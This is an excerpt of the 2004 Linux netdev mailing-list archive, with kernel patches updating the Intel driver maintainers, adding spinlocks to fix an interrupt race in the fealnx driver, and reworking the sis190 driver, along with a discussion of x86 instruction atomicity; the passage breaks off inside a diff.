<200403261214.58127.vda@port.imtp.ilyichevsk.odessa.ua> <200403262157.21624.vda@port.imtp.ilyichevsk.odessa.ua> <40648CAF.5010203@pobox.com> <200403270014.23088.vda@port.imtp.ilyichevsk.odessa.ua> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5.1i In-Reply-To: <200403270014.23088.vda@port.imtp.ilyichevsk.odessa.ua>; from vda@port.imtp.ilyichevsk.odessa.ua on Sat, Mar 27, 2004 at 12:14:42AM +0200 X-Organisation: Land of Sunshine Inc. X-archive-position: 4271 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: romieu@fr.zoreil.com Precedence: bulk X-list: netdev Content-Length: 321 Lines: 12 Denis Vlasenko : [...] > Yes. But on x86 a++ is atomic vs interrupts - it's a single instruction > and interrupts happen on instruction boundaries only. Do you realize that you are saying that the CPU can atomically increment an integer which sits _in memory_ ? Oops :o) -- Ueimor From scott.feldman@intel.com Fri Mar 26 15:30:55 2004 Received: with ECARTIS (v1.0.0; list netdev); Fri, 26 Mar 2004 15:31:00 -0800 (PST) Received: from caduceus.fm.intel.com (fmr02.intel.com [192.55.52.25]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i2QNUsKO002053 for ; Fri, 26 Mar 2004 15:30:55 -0800 Received: from talaria.fm.intel.com (talaria.fm.intel.com [10.1.192.39]) by caduceus.fm.intel.com (8.12.9-20030918-01/8.12.9/d: major-outer.mc,v 1.15 2004/01/30 18:16:28 root Exp $) with ESMTP id i2QNX6LQ031093; Fri, 26 Mar 2004 23:33:06 GMT Received: from fmsmsxvs042.fm.intel.com (fmsmsxvs042.fm.intel.com [132.233.42.128]) by talaria.fm.intel.com (8.12.9-20030918-01/8.12.9/d: major-inner.mc,v 1.10 2004/03/01 19:21:36 root Exp $) with SMTP id i2QNV66B004953; Fri, 26 Mar 2004 23:31:34 GMT Received: from [134.134.3.158] ([134.134.3.158]) by fmsmsxvs042.fm.intel.com (SAVSMTP 3.1.2.35) with SMTP id M2004032615304620453 ; Fri, 26 Mar 2004 15:30:47 -0800 Date: Fri, 26 Mar 2004 15:26:09 -0800 (PST) From: Scott Feldman To: jgarzik@pobox.com cc: scott.feldman@intel.com, netdev@oss.sgi.com, linux-kernel@vger.kernel.org, john.ronciak@intel.com, ganesh.venkatesan@intel.com, cramerj@intel.com Subject: [PATCH 2.4] Update MAINTAINERS with new e100/e100 maintainers Message-ID: ReplyTo: "Scott Feldman" MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Scanned-By: MIMEDefang 2.31 (www . roaringpenguin . com / mimedefang) X-archive-position: 4272 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: scott.feldman@intel.com Precedence: bulk X-list: netdev Content-Length: 859 Lines: 38 Jeff, removing myself and adding John/Ganesh as new maintainers for e100/e1000 in 2.4. -scott ----------- --- linux-2.4.25/MAINTAINERS.orig 2004-03-26 10:07:45.000000000 -0800 +++ linux-2.4.25/MAINTAINERS 2004-03-26 10:08:35.000000000 -0800 @@ -954,14 +954,24 @@ M: tigran@veritas.com S: Maintained +INTEL PRO/100 ETHERNET SUPPORT +P: John Ronciak +M: john.ronciak@intel.com +P: Ganesh Venkatesan +M: Ganesh.Venkatesan@intel.com +W: http://sourceforge.net/projects/e1000/ +S: Supported + INTEL PRO/1000 GIGABIT ETHERNET SUPPORT P: Jeb Cramer M: cramerj@intel.com -P: Scott Feldman -M: scott.feldman@intel.com +P: John Ronciak +M: john.ronciak@intel.com +P: Ganesh Venkatesan +M: Ganesh.Venkatesan@intel.com W: http://sourceforge.net/projects/e1000/ S: Supported - + INTERMEZZO FILE SYSTEM P: Chen Yang M: intermezzo-devel@lists.sourceforge.net From scott.feldman@intel.com Fri Mar 26 15:37:00 2004 Received: with ECARTIS (v1.0.0; list netdev); Fri, 26 Mar 2004 15:37:04 -0800 (PST) Received: from hermes.jf.intel.com (fmr05.intel.com [134.134.136.6]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i2QNb0KO002463 for ; Fri, 26 Mar 2004 15:37:00 -0800 Received: from petasus.jf.intel.com (petasus.jf.intel.com [10.7.209.6]) by hermes.jf.intel.com (8.12.9-20030918-01/8.12.9/d: major-outer.mc,v 1.15 2004/01/30 18:16:28 root Exp $) with ESMTP id i2QNf7CO030446; Fri, 26 Mar 2004 23:41:07 GMT Received: from orsmsxvs040.jf.intel.com (orsmsxvs040.jf.intel.com [192.168.65.206]) by petasus.jf.intel.com (8.12.9-20030918-01/8.12.9/d: major-inner.mc,v 1.10 2004/03/01 19:21:36 root Exp $) with SMTP id i2QNclIG006616; Fri, 26 Mar 2004 23:39:05 GMT Received: from [134.134.3.158] ([134.134.3.158]) by orsmsxvs040.jf.intel.com (SAVSMTP 3.1.2.35) with SMTP id M2004032615365317335 ; Fri, 26 Mar 2004 15:36:53 -0800 Date: Fri, 26 Mar 2004 15:32:16 -0800 (PST) From: Scott Feldman To: jgarzik@pobox.com cc: scott.feldman@intel.com, netdev@oss.sgi.com, linux-kernel@vger.kernel.org, john.ronciak@intel.com, ganesh.venkatesan@intel.com, cramerj@intel.com, ayyappan.veeriayan@intel.com Subject: [PATCH 2.6] Update MAINTAINERS with new e100/e1000/ixgb maintainers Message-ID: ReplyTo: "Scott Feldman" MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Scanned-By: MIMEDefang 2.31 (www . roaringpenguin . com / mimedefang) X-archive-position: 4273 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: scott.feldman@intel.com Precedence: bulk X-list: netdev Content-Length: 1175 Lines: 49 Jeff, Adding John/Ganesh/Ayyappan for e100/e100/ixgb in 2.6. Keeping myself on for e100 for a couple more 2.6.x releases. -scott -------------- --- linux-2.6.4/MAINTAINERS.orig 2004-03-26 10:07:24.000000000 -0800 +++ linux-2.6.4/MAINTAINERS 2004-03-26 10:11:51.000000000 -0800 @@ -1055,23 +1055,33 @@ S: Maintained INTEL PRO/100 ETHERNET SUPPORT +P: John Ronciak +M: john.ronciak@intel.com +P: Ganesh Venkatesan +M: ganesh.venkatesan@intel.com P: Scott Feldman M: scott.feldman@intel.com +W: http://sourceforge.net/projects/e1000/ S: Supported INTEL PRO/1000 GIGABIT ETHERNET SUPPORT P: Jeb Cramer M: cramerj@intel.com -P: Scott Feldman -M: scott.feldman@intel.com +P: John Ronciak +M: john.ronciak@intel.com +P: Ganesh Venkatesan +M: ganesh.venkatesan@intel.com W: http://sourceforge.net/projects/e1000/ S: Supported INTEL PRO/10GbE SUPPORT +P: Ayyappan Veeraiyan +M: ayyappan.veeraiyan@intel.com P: Ganesh Venkatesan -M: Ganesh.Venkatesan@intel.com -P: Scott Feldman -M: scott.feldman@intel.com +M: ganesh.venkatesan@intel.com +P: John Ronciak +M: john.ronciak@intel.com +W: http://sourceforge.net/projects/e1000/ S: Supported INTERMEZZO FILE SYSTEM From vda@port.imtp.ilyichevsk.odessa.ua Fri Mar 26 16:08:18 2004 Received: with ECARTIS (v1.0.0; list netdev); Fri, 26 Mar 2004 16:08:22 -0800 (PST) Received: from port.imtp.ilyichevsk.odessa.ua (168.imtp.Ilyichevsk.Odessa.UA [195.66.192.168] (may be forged)) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i2R08FKO004227 for ; Fri, 26 Mar 2004 16:08:17 -0800 Received: (qmail 25912 invoked by alias); 27 Mar 2004 00:03:45 -0000 Received: from unknown (1.0.3.9) by 0 (195.66.192.168) with ESMTP; 27 Mar 2004 00:03:45 -0000 From: Denis Vlasenko To: Francois Romieu Subject: Re: fealnx oopses Date: Sat, 27 Mar 2004 02:03:40 +0200 User-Agent: KMail/1.5.4 Cc: Jeff Garzik , Andreas Henriksson , netdev@oss.sgi.com References: <200403261214.58127.vda@port.imtp.ilyichevsk.odessa.ua> <200403270014.23088.vda@port.imtp.ilyichevsk.odessa.ua> <20040326233514.B26347@electric-eye.fr.zoreil.com> In-Reply-To: <20040326233514.B26347@electric-eye.fr.zoreil.com> MIME-Version: 1.0 Content-Disposition: inline Message-Id: <200403270203.18971.vda@port.imtp.ilyichevsk.odessa.ua> Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-archive-position: 4274 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: vda@port.imtp.ilyichevsk.odessa.ua Precedence: bulk X-list: netdev Content-Length: 916 Lines: 30 On Saturday 27 March 2004 00:35, Francois Romieu wrote: > Denis Vlasenko : > [...] > > > Yes. But on x86 a++ is atomic vs interrupts - it's a single instruction > > and interrupts happen on instruction boundaries only. > > Do you realize that you are saying that the CPU can atomically increment an > integer which sits _in memory_ ? Not exactly. CPU does not atomically increment memory. I am saying that x86 CPU can't be interrupted in the middle of read-modify-write operation, like incl (%eax) because it is single machine instruction. Interrupt either happens before it, and handler see 'old' value, or after it, and handler see 'new' value. Interrupt cannot happen 'inside' it. Some RISC processors lack such single-instruction RMW ops. Bug can thrigger on those CPUs: load (%r1),r2 inc v2 <-------- interrupt here. Ouch! store v2,(%r1) Not on x86. -- vda From romieu@fr.zoreil.com Fri Mar 26 16:34:18 2004 Received: with ECARTIS (v1.0.0; list netdev); Fri, 26 Mar 2004 16:34:23 -0800 (PST) Received: from fr.zoreil.com (electric-eye.fr.zoreil.com [213.41.134.224]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i2R0YHKO009545 for ; Fri, 26 Mar 2004 16:34:18 -0800 Received: from electric-eye.fr.zoreil.com (localhost.localdomain [127.0.0.1]) by fr.zoreil.com (8.12.8/8.12.1) with ESMTP id i2R0U8gf030014; Sat, 27 Mar 2004 01:30:08 +0100 Received: (from romieu@localhost) by electric-eye.fr.zoreil.com (8.12.8/8.12.1) id i2R0U80f030013; Sat, 27 Mar 2004 01:30:08 +0100 Date: Sat, 27 Mar 2004 01:30:07 +0100 From: Francois Romieu To: Denis Vlasenko Cc: Jeff Garzik , Andreas Henriksson , netdev@oss.sgi.com Subject: Re: fealnx oopses Message-ID: <20040327013007.D26347@electric-eye.fr.zoreil.com> References: <200403261214.58127.vda@port.imtp.ilyichevsk.odessa.ua> <200403270014.23088.vda@port.imtp.ilyichevsk.odessa.ua> <20040326233514.B26347@electric-eye.fr.zoreil.com> <200403270203.18971.vda@port.imtp.ilyichevsk.odessa.ua> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5.1i In-Reply-To: <200403270203.18971.vda@port.imtp.ilyichevsk.odessa.ua>; from vda@port.imtp.ilyichevsk.odessa.ua on Sat, Mar 27, 2004 at 02:03:40AM +0200 X-Organisation: Land of Sunshine Inc. X-archive-position: 4275 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: romieu@fr.zoreil.com Precedence: bulk X-list: netdev Content-Length: 305 Lines: 10 Denis Vlasenko : [...] > Not exactly. CPU does not atomically increment memory. > I am saying that x86 CPU can't be interrupted in the middle > of read-modify-write operation, like Yep, that's exactly what I tought was not possible. Complete brain outage. -- Ueimor From romieu@fr.zoreil.com Fri Mar 26 18:09:14 2004 Received: with ECARTIS (v1.0.0; list netdev); Fri, 26 Mar 2004 18:09:16 -0800 (PST) Received: from fr.zoreil.com (electric-eye.fr.zoreil.com [213.41.134.224]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i2R29CKO012354 for ; Fri, 26 Mar 2004 18:09:13 -0800 Received: from electric-eye.fr.zoreil.com (localhost.localdomain [127.0.0.1]) by fr.zoreil.com (8.12.8/8.12.1) with ESMTP id i2R28sgf030957; Sat, 27 Mar 2004 03:08:54 +0100 Received: (from romieu@localhost) by electric-eye.fr.zoreil.com (8.12.8/8.12.1) id i2R28sXH030956; Sat, 27 Mar 2004 03:08:54 +0100 Date: Sat, 27 Mar 2004 03:08:54 +0100 From: Francois Romieu To: netdev@oss.sgi.com Cc: Jeff Garzik Subject: [PATCH] [RFT] 2.6.5-rc2 - sis190 update Message-ID: <20040327030853.A30849@electric-eye.fr.zoreil.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5.1i X-archive-position: 4276 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: romieu@fr.zoreil.com Precedence: bulk X-list: netdev Content-Length: 526 Lines: 14 The recent changes to the r8169 driver turned it into something quite different from the sis190 driver whence it (apparently) originated. The following serie of patches resyncs the sis190 driver with the r8169 one while making it compliant (?) wrt the DMA API. I'll review it more closely once I have got some sleep but if some happy tester wants to contribute, he will be welcome. The patches compile, they are untested and should apply to nearly anything 2.6.x as -mm does not include patches to the sis190.c. -- Ueimor From gem@scream.fjortis.info Fri Mar 26 18:11:11 2004 Received: with ECARTIS (v1.0.0; list netdev); Fri, 26 Mar 2004 18:11:15 -0800 (PST) Received: from scream.fjortis.info (1-1-1-9a.ghn.gbg.bostream.se [82.182.69.4]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i2R2B9KO012634 for ; Fri, 26 Mar 2004 18:11:10 -0800 Received: from gem by scream.fjortis.info with local (Exim 4.30) id 1B73Jp-0005Hl-RQ; Sat, 27 Mar 2004 03:13:05 +0100 Date: Sat, 27 Mar 2004 03:13:05 +0100 From: Andreas Henriksson To: Jeff Garzik Cc: Andreas Henriksson , Denis Vlasenko , netdev@oss.sgi.com, Marcelo Tosatti , Linux Kernel Subject: Re: [PATCH] Re: fealnx oopses Message-ID: <20040327021305.GA20101@scream.fjortis.info> References: <200403261214.58127.vda@port.imtp.ilyichevsk.odessa.ua> <20040326192211.GA15319@scream.fjortis.info> <4064857E.2050603@pobox.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <4064857E.2050603@pobox.com> User-Agent: Mutt/1.5.5.1+cvs20040105i X-archive-position: 4277 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: andreas@fjortis.info Precedence: bulk X-list: netdev Content-Length: 4903 Lines: 149 On Fri, Mar 26, 2004 at 02:33:18PM -0500, Jeff Garzik wrote: > Andreas Henriksson wrote: > >On Fri, Mar 26, 2004 at 12:14:57PM +0200, Denis Vlasenko wrote: > > > > > > > >>BTW, my box is indeed slow and low on RAM, this fits. > >> > > > > > >I have only been looking at problems with races between the interrupt > >handler and the rest of the driver code.. there might be a bunch of > >problems with failed memory allocations that hasn't bitten me. > > > > > >>Regarding your patch: I looked in start_tx(). Apart from latent > >>bug in commented out part of code: > >> next = (struct fealnx *) np->cur_tx_copy.next_desc_logical; > >>which must be > >> next = (struct fealnx_desc *) np->cur_tx_copy->next_desc_logical; > >>I can't see anything racy there. The function just submits more > >>tx buffers for the card, it never touch cur_tx or cur_tx->skbuff... > > > > > >Francois Romieu explains the race in a comment to the bug I opened in > >the bugzilla. > > > >http://bugzilla.kernel.org/show_bug.cgi?id=1902#c1 > > > >The problem is that really_tx_count and similar parts of the private > >structure isn't atomically updated and both the interrupt handler and > >the start_tx function updates them. > >(they are regular integers instead of atomic_t) > > > > > >>If I miss something and it indeed races with interrupt, you > >>definitely need to add > >> spin_lock(&np->lock); > >>... > >> spin_unlock(&np->lock); > >>around interrupt handler body or at least around tx part > >>of it, or else your patch is incomplete (race will still > >>be possible on SMP). > >> > > > > > >I came to the conclusion that there should be a spinlock in the > >interrupt handler yesterday, but it won't effect me at all since I don't > >have SMP (nor preempt) so I'll leave it for now anyway. > > > > > >>Anyway, I applied your patch and flooded with UDP again. > >>My box did not oops. Unfortunately, it did not oops when > >>I reverted back to old, presumably buggy driver. I cannot > >>reproduce it anymore with old driver too! Bad. :( > > > > > >I haven't been able to reproduce a kernel panic with my patch eighter. > >And I've been transfering Terabytes of traffic during the last weeks (or > >maybee it's months, well anyway.. I've done enough testing to say that > >the card works "good enough" in this machine atleast). > >And I've even tried your udp test.. > > > >Although I now have the myson/fealnx card in my p3-900 (256Mb) > >workstation instead of the old p-166 (40Mb) which served as a gateway > >before. > >It might just be that it's harder to trigger on newer/bigger machines. > >Maybee I should power up my p-166 again.. I actually have 2 of these > >cards so I can have one in each machine.. :) > > Well really, somebody needs to port Donald Becker's myson driver to 2.6 > APIs... I would like to get rid of fealnx, or somebody needs to spend a > decent amount of time fixing it. > Ok, didn't know someone actually had a better driver.. I though "fix up the current to not panic and wait for people to forget that the hardware ever existed" was the proper "fix". ;) Although I doubt I'm able to even get donalds driver to even compile without the middle layer... I'm not anywhere near a kernel developer. But I'd certainly love to try to get it working.. but don't hold your breath. :) > > Does the attached patch fix the issue? > Probably... it includes the lock I've added... though it could take me up to 3 weeks to get a kernel panic on my p-166 (although it could happen twice a day as well as it did when I wrote the bugreport in the bugzilla). > Jeff > > I'll try your patch and if you don't hear from me it works "good enough". Anyway... adding a lock or two will probably not make the situation worse then it is today.. > ===== drivers/net/fealnx.c 1.34 vs edited ===== > --- 1.34/drivers/net/fealnx.c Sun Mar 14 01:54:58 2004 > +++ edited/drivers/net/fealnx.c Fri Mar 26 14:31:07 2004 > @@ -1303,14 +1303,15 @@ > /* for the last tx descriptor */ > np->tx_ring[i - 1].next_desc = np->tx_ring_dma; > np->tx_ring[i - 1].next_desc_logical = &np->tx_ring[0]; > - > - return; > } > > > static int start_tx(struct sk_buff *skb, struct net_device *dev) > { > struct netdev_private *np = dev->priv; > + unsigned long flags; > + > + spin_lock_irqsave(&np->lock, flags); > > np->cur_tx_copy->skbuff = skb; > > @@ -1377,6 +1378,7 @@ > writel(0, dev->base_addr + TXPDR); > dev->trans_start = jiffies; > > + spin_unlock_irqrestore(&np->lock, flags); > return 0; > } > > @@ -1423,6 +1425,8 @@ > unsigned int num_tx = 0; > int handled = 0; > > + spin_lock(&np->lock); > + > writel(0, dev->base_addr + IMR); > > ioaddr = dev->base_addr; > @@ -1564,6 +1568,8 @@ > dev->name, readl(ioaddr + ISR)); > > writel(np->imrvalue, ioaddr + IMR); > + > + spin_unlock(&np->lock); > > return IRQ_RETVAL(handled); > } From romieu@fr.zoreil.com Fri Mar 26 18:13:17 2004 Received: with ECARTIS (v1.0.0; list netdev); Fri, 26 Mar 2004 18:13:19 -0800 (PST) Received: from fr.zoreil.com (electric-eye.fr.zoreil.com [213.41.134.224]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i2R2DEKO013012 for ; Fri, 26 Mar 2004 18:13:15 -0800 Received: from electric-eye.fr.zoreil.com (localhost.localdomain [127.0.0.1]) by fr.zoreil.com (8.12.8/8.12.1) with ESMTP id i2R2CKgf031070; Sat, 27 Mar 2004 03:12:20 +0100 Received: (from romieu@localhost) by electric-eye.fr.zoreil.com (8.12.8/8.12.1) id i2R2CKl1031069; Sat, 27 Mar 2004 03:12:20 +0100 Date: Sat, 27 Mar 2004 03:12:19 +0100 From: Francois Romieu To: netdev@oss.sgi.com Cc: Jeff Garzik Subject: [PATCH 2/8] 2.6.5-rc2 - sis190 update Message-ID: <20040327031219.B31053@electric-eye.fr.zoreil.com> References: <20040327030853.A30849@electric-eye.fr.zoreil.com> <20040327031131.A31053@electric-eye.fr.zoreil.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5.1i In-Reply-To: <20040327031131.A31053@electric-eye.fr.zoreil.com>; from romieu@fr.zoreil.com on Sat, Mar 27, 2004 at 03:11:31AM +0100 X-Organisation: Land of Sunshine Inc. X-archive-position: 4280 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: romieu@fr.zoreil.com Precedence: bulk X-list: netdev Content-Length: 1682 Lines: 62 Balance the call to pci_enable_device() in SiS190_init_one() with a call to pci_disable_device() in SiS190_remove_one(). drivers/net/sis190.c | 24 +++++++++++++++--------- 1 files changed, 15 insertions(+), 9 deletions(-) diff -puN drivers/net/sis190.c~sis190-missing-pci-disable-device drivers/net/sis190.c --- linux-2.6.5-rc2/drivers/net/sis190.c~sis190-missing-pci-disable-device 2004-03-26 23:16:58.000000000 +0100 +++ linux-2.6.5-rc2-fr/drivers/net/sis190.c 2004-03-26 23:16:58.000000000 +0100 @@ -435,6 +435,18 @@ ReadEEprom(void *ioaddr, u32 RegAddr) return data; } +static void SiS190_release_board(struct pci_dev *pdev, struct net_device *dev) +{ + struct sis190_private *tp = dev->priv; + + assert(tp != NULL); + + iounmap(tp->mmio_addr); + pci_release_regions(pdev); + pci_disable_device(pdev); + free_netdev(dev); +} + static int __devinit SiS190_init_board(struct pci_dev *pdev, struct net_device **dev_out, void **ioaddr_out) @@ -599,10 +611,7 @@ SiS190_init_one(struct pci_dev *pdev, co spin_lock_init(&tp->lock); rc = register_netdev(dev); if (rc) { - iounmap(ioaddr); - pci_release_regions(pdev); - pci_disable_device(pdev); - free_netdev(dev); + SiS190_release_board(pdev, dev); return rc; } @@ -694,16 +703,13 @@ static void __devexit SiS190_remove_one(struct pci_dev *pdev) { struct net_device *dev = pci_get_drvdata(pdev); - struct sis190_private *tp = (struct sis190_private *) (dev->priv); assert(dev != NULL); - assert(tp != NULL); unregister_netdev(dev); - iounmap(tp->mmio_addr); - pci_release_regions(pdev); - free_netdev(dev); + SiS190_release_board(pdev, dev); + pci_set_drvdata(pdev, NULL); } _ From romieu@fr.zoreil.com Fri Mar 26 18:13:16 2004 Received: with ECARTIS (v1.0.0; list netdev); Fri, 26 Mar 2004 18:13:19 -0800 (PST) Received: from fr.zoreil.com (electric-eye.fr.zoreil.com [213.41.134.224]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i2R2DEKO013011 for ; Fri, 26 Mar 2004 18:13:15 -0800 Received: from electric-eye.fr.zoreil.com (localhost.localdomain [127.0.0.1]) by fr.zoreil.com (8.12.8/8.12.1) with ESMTP id i2R2D2gf031074; Sat, 27 Mar 2004 03:13:02 +0100 Received: (from romieu@localhost) by electric-eye.fr.zoreil.com (8.12.8/8.12.1) id i2R2D2mf031073; Sat, 27 Mar 2004 03:13:02 +0100 Date: Sat, 27 Mar 2004 03:13:02 +0100 From: Francois Romieu To: netdev@oss.sgi.com Cc: Jeff Garzik Subject: [PATCH 3/8] 2.6.5-rc2 - sis190 update Message-ID: <20040327031302.C31053@electric-eye.fr.zoreil.com> References: <20040327030853.A30849@electric-eye.fr.zoreil.com> <20040327031131.A31053@electric-eye.fr.zoreil.com> <20040327031219.B31053@electric-eye.fr.zoreil.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5.1i In-Reply-To: <20040327031219.B31053@electric-eye.fr.zoreil.com>; from romieu@fr.zoreil.com on Sat, Mar 27, 2004 at 03:12:19AM +0100 X-Organisation: Land of Sunshine Inc. X-archive-position: 4279 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: romieu@fr.zoreil.com Precedence: bulk X-list: netdev Content-Length: 3606 Lines: 130 - make sis190_open() look like r8169_open() as they do the same thing; - ready sis190_init_ring for incoming DMA api changes; - trade a "for" loop against a single line, idiomatic, memset(). drivers/net/sis190.c | 57 +++++++++++++++++++++++++-------------------------- 1 files changed, 29 insertions(+), 28 deletions(-) diff -puN drivers/net/sis190.c~sis190-rework-open drivers/net/sis190.c --- linux-2.6.5-rc2/drivers/net/sis190.c~sis190-rework-open 2004-03-26 23:29:27.000000000 +0100 +++ linux-2.6.5-rc2-fr/drivers/net/sis190.c 2004-03-26 23:47:11.000000000 +0100 @@ -331,7 +331,7 @@ static int SiS190_open(struct net_device static int SiS190_start_xmit(struct sk_buff *skb, struct net_device *dev); static irqreturn_t SiS190_interrupt(int irq, void *dev_instance, struct pt_regs *regs); -static void SiS190_init_ring(struct net_device *dev); +static int SiS190_init_ring(struct net_device *dev); static void SiS190_hw_start(struct net_device *dev); static int SiS190_close(struct net_device *dev); static void SiS190_set_rx_mode(struct net_device *dev); @@ -720,50 +720,43 @@ SiS190_open(struct net_device *dev) int rc; rc = request_irq(dev->irq, SiS190_interrupt, SA_SHIRQ, dev->name, dev); - if (rc) + if (rc < 0) goto out; + rc = -ENOMEM; + /* * Rx and Tx descriptors need 256 bytes alignment. * pci_alloc_consistent() guarantees a stronger alignment. */ tp->TxDescArray = pci_alloc_consistent(tp->pci_dev, TX_DESC_TOTAL_SIZE, &tp->tx_dma); - if (!tp->TxDescArray) { - rc = -ENOMEM; - goto err_out; - } + if (!tp->TxDescArray) + goto err_free_irq; tp->RxDescArray = pci_alloc_consistent(tp->pci_dev, RX_DESC_TOTAL_SIZE, &tp->rx_dma); - if (!tp->RxDescArray) { - rc = -ENOMEM; - goto err_out_free_tx; - } + if (!tp->RxDescArray) + goto err_free_tx; - tp->RxBufferRings = kmalloc(RX_BUF_SIZE * NUM_RX_DESC, GFP_KERNEL); - if (tp->RxBufferRings == NULL) { - printk(KERN_INFO "%s: allocate RxBufferRing failed\n", - dev->name); - rc = -ENOMEM; - goto err_out_free_rx; - } + rc = SiS190_init_ring(dev); + if (rc < 0) + goto err_free_rx; - SiS190_init_ring(dev); SiS190_hw_start(dev); out: return rc; -err_out_free_rx: +err_free_rx: pci_free_consistent(tp->pci_dev, RX_DESC_TOTAL_SIZE, tp->RxDescArray, tp->rx_dma); -err_out_free_tx: +err_free_tx: pci_free_consistent(tp->pci_dev, TX_DESC_TOTAL_SIZE, tp->TxDescArray, tp->tx_dma); -err_out: +err_free_irq: free_irq(dev->irq, dev); - return rc; + goto out; } static void @@ -813,21 +806,25 @@ SiS190_hw_start(struct net_device *dev) } -static void -SiS190_init_ring(struct net_device *dev) +static int SiS190_init_ring(struct net_device *dev) { struct sis190_private *tp = dev->priv; int i; tp->cur_rx = 0; - tp->cur_tx = 0; - tp->dirty_tx = 0; + tp->cur_tx = tp->dirty_tx = 0; memset(tp->TxDescArray, 0x0, NUM_TX_DESC * sizeof (struct TxDesc)); memset(tp->RxDescArray, 0x0, NUM_RX_DESC * sizeof (struct RxDesc)); - for (i = 0; i < NUM_TX_DESC; i++) { - tp->Tx_skbuff[i] = NULL; + memset(tp->Tx_skbuff, 0x0, NUM_TX_DESC * sizeof(struct sk_buff *)); + + tp->RxBufferRings = kmalloc(RX_BUF_SIZE * NUM_RX_DESC, GFP_KERNEL); + if (tp->RxBufferRings == NULL) { + printk(KERN_INFO "%s: allocate RxBufferRing failed\n", + dev->name); + goto err_out; } + for (i = 0; i < NUM_RX_DESC; i++) { struct RxDesc *desc = tp->RxDescArray + i; dma_addr_t mapping; @@ -845,6 +842,10 @@ SiS190_init_ring(struct net_device *dev) desc->status = cpu_to_le32(OWNbit | INTbit); } + return 0; + +err_out: + return -ENOMEM; } static void _ From romieu@fr.zoreil.com Fri Mar 26 18:13:15 2004 Received: with ECARTIS (v1.0.0; list netdev); Fri, 26 Mar 2004 18:13:17 -0800 (PST) Received: from fr.zoreil.com (electric-eye.fr.zoreil.com [213.41.134.224]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i2R2DDKO013008 for ; Fri, 26 Mar 2004 18:13:14 -0800 Received: from electric-eye.fr.zoreil.com (localhost.localdomain [127.0.0.1]) by fr.zoreil.com (8.12.8/8.12.1) with ESMTP id i2R2BVgf031064; Sat, 27 Mar 2004 03:11:31 +0100 Received: (from romieu@localhost) by electric-eye.fr.zoreil.com (8.12.8/8.12.1) id i2R2BVUW031063; Sat, 27 Mar 2004 03:11:31 +0100 Date: Sat, 27 Mar 2004 03:11:31 +0100 From: Francois Romieu To: netdev@oss.sgi.com Cc: Jeff Garzik Subject: [PATCH 1/8] 2.6.5-rc2 - sis190 update Message-ID: <20040327031131.A31053@electric-eye.fr.zoreil.com> References: <20040327030853.A30849@electric-eye.fr.zoreil.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5.1i In-Reply-To: <20040327030853.A30849@electric-eye.fr.zoreil.com>; from romieu@fr.zoreil.com on Sat, Mar 27, 2004 at 03:08:54AM +0100 X-Organisation: Land of Sunshine Inc. X-archive-position: 4278 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: romieu@fr.zoreil.com Precedence: bulk X-list: netdev Content-Length: 3857 Lines: 115 Endianness issues. Use of le32_to_cpu/cpu_to_le32 in the code which handles the different components of the Rx descriptors (PSize/status/buf_addr/buf_Len). drivers/net/sis190.c | 45 +++++++++++++++++++++------------------------ 1 files changed, 21 insertions(+), 24 deletions(-) diff -puN drivers/net/sis190.c~sis190-rx-path-le32_to_cpu drivers/net/sis190.c --- linux-2.6.5-rc2/drivers/net/sis190.c~sis190-rx-path-le32_to_cpu 2004-03-26 23:12:05.000000000 +0100 +++ linux-2.6.5-rc2-fr/drivers/net/sis190.c 2004-03-26 23:13:10.000000000 +0100 @@ -824,18 +824,19 @@ SiS190_init_ring(struct net_device *dev) } for (i = 0; i < NUM_RX_DESC; i++) { struct RxDesc *desc = tp->RxDescArray + i; + dma_addr_t mapping; + u32 len; desc->PSize = 0x0; - if (i == (NUM_RX_DESC - 1)) - desc->buf_Len = BIT_31 + RX_BUF_SIZE; //bit 31 is End bit - else - desc->buf_Len = 